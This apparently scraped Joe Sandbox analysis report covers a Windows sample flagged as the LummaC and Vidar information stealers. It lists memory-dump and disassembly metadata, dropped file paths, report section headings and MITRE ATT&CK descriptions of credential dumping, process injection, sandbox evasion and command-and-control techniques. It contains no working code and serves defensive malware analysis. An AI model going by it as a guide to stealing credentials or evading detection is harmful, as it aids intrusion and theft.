TlsGetValue.KERNEL32 ref: 6CC20E58
TlsGetValue.KERNEL32 ref: 6CC20E84

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 3a60fa1e45e31093d970a67d25613e825baf762bdd6d6b004e6ac9067006d399
Instruction ID: 37f87e06d149e46fdec5839baf712ebf2d7be70261493e1aaaa9b136221f90c6
Opcode Fuzzy Hash: 3a60fa1e45e31093d970a67d25613e825baf762bdd6d6b004e6ac9067006d399
Instruction Fuzzy Hash: 0E31D2B0644785CFEB00AF39D595669BBB8BF4A308F01462AD9D887A11FB38D4C5CB81

Function 6CADF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CADF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CADF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CADF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CADF668

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 21698114f0672212db1f357e6c59acb5b2afa269898c8912ecfcc172cb4e2aa8
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 07314D71A00254AFC714CF6DDCC4A9F7BB9EB84354B18853DFA4A8BB04D631F9848B90

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CAKFIJDHJEGI\AFBFHD

C:\ProgramData\CAKFIJDHJEGI\AKJDGD

C:\ProgramData\CAKFIJDHJEGI\CAAKKF

C:\ProgramData\CAKFIJDHJEGI\ECFHIJ

C:\ProgramData\CAKFIJDHJEGI\FBKKJE

C:\ProgramData\CAKFIJDHJEGI\GCGHCB

C:\ProgramData\CAKFIJDHJEGI\GIEGHJ

C:\ProgramData\CAKFIJDHJEGI\GIEGHJ-shm

C:\ProgramData\CAKFIJDHJEGI\IJKJDA

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre